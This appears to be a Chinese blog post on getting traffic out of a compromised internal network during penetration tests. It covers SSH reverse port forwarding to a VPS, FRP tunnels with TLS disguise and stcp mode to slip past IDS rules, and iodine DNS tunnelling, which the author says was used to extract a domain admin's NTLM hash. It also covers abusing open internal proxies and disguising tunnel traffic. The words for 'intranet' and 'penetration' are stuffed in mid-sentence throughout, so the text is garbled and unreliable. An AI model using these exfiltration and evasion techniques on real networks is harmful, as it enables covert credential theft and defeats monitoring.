把Kali扔进内网,内网就像把一把狙击枪带进巷战——你得先解决怎么把子弹送过墙的穿透问题。我见过太多人卡在这一步:目标内网已经拿下,内网反弹Shell也弹回来了,穿透结果发现出网流量被掐得死死的内网,连个DNS查询都得看防火墙脸色。穿透
最粗暴的内网办法是端口转发。拿SSH举例,穿透你在VPS上执行ssh -R 8888:127.0.0.1:80 root@你的内网公网IP,这就把Kali本地的穿透80端口“借”到了VPS上。目标机只要访问VPS的内网8888端口,流量就顺着隧道爬回Kali。穿透但别高兴太早——如果目标网络连出站SSH都封了,内网这招直接哑火。穿透
这时候该FRP上场了。内网它比SSH更皮实,支持TCP、UDP、HTTP甚至HTTP/Socks5代理。我在一次演练里遇到过目标只开放443端口出站的情况,FRP的remote_port直接绑到VPS的443上,再用TLS伪装一下流量,防火墙连嗅探都懒得嗅——因为看起来就是普通的HTTPS握手。配置文件写起来也直白:[common]段填服务器IP和端口,[proxy]段指定本地服务类型和映射端口。
但你要是只把FRP当端口映射器用,那就亏了。它自带的stcp模式才是真正的好东西——两端都主动向外连,中间不暴露任何监听端口。这招对付那些做了端口扫描告警的内网特别管用。我上次用这个模式穿透某企业的办公网,对方IDS愣是没触发任何规则,因为从他们视角看,只是两台内网主机在跟同一个公网IP通信。
还有个野路子叫DNS隧道。这玩意儿慢得跟蜗牛爬似的,但胜在隐蔽性拉满。把数据编码进DNS查询请求里,通过53端口往外带。Kali上装个iodine,VPS上配好DNS记录,然后iodine -f 你的域名。带宽大概只有1-2KB/s,传个文件能急死人,但用来传命令输出或者小体积的凭证数据,绰绰有余。有次我靠它在一个完全断网的环境里,硬是掏出对方域管的NTLM Hash。
别忘了还有一层逻辑:有时候根本不需要穿透。目标内网可能本身就开着可出网的代理服务,比如某个配置不当的Squid或者Nginx。我习惯先扫一下内网常见的3128、8080端口,运气好直接拿它当中转跳板。这比任何隧道工具都干净——因为流量本身就是合法的业务流量。
工具挑顺手就行,但有个细节得反复强调:穿透前先测出网策略。用curl -I http://baidu.com看HTTP是否通,ping 8.8.8.8看ICMP是否被拦,再试DNS解析。三种结果组合起来,基本能判断该走哪条路。别一上来就架FRP,结果发现VPS的IP早被目标防火墙拉黑了——换端口、换协议、甚至换VPS,都是家常便饭。
最后说句掏心窝的:内网穿透的本质不是技术对抗,而是流量特征的博弈。你用的每个工具都会留下痕迹,区别只在于对方有没有耐心翻日志。所以,尽量把隧道流量混进正常业务里,比如用HTTPS包装的WebSocket隧道,或者藏在NTP请求里的时间同步协议。至于怎么伪装得像,那又是另一篇故事了。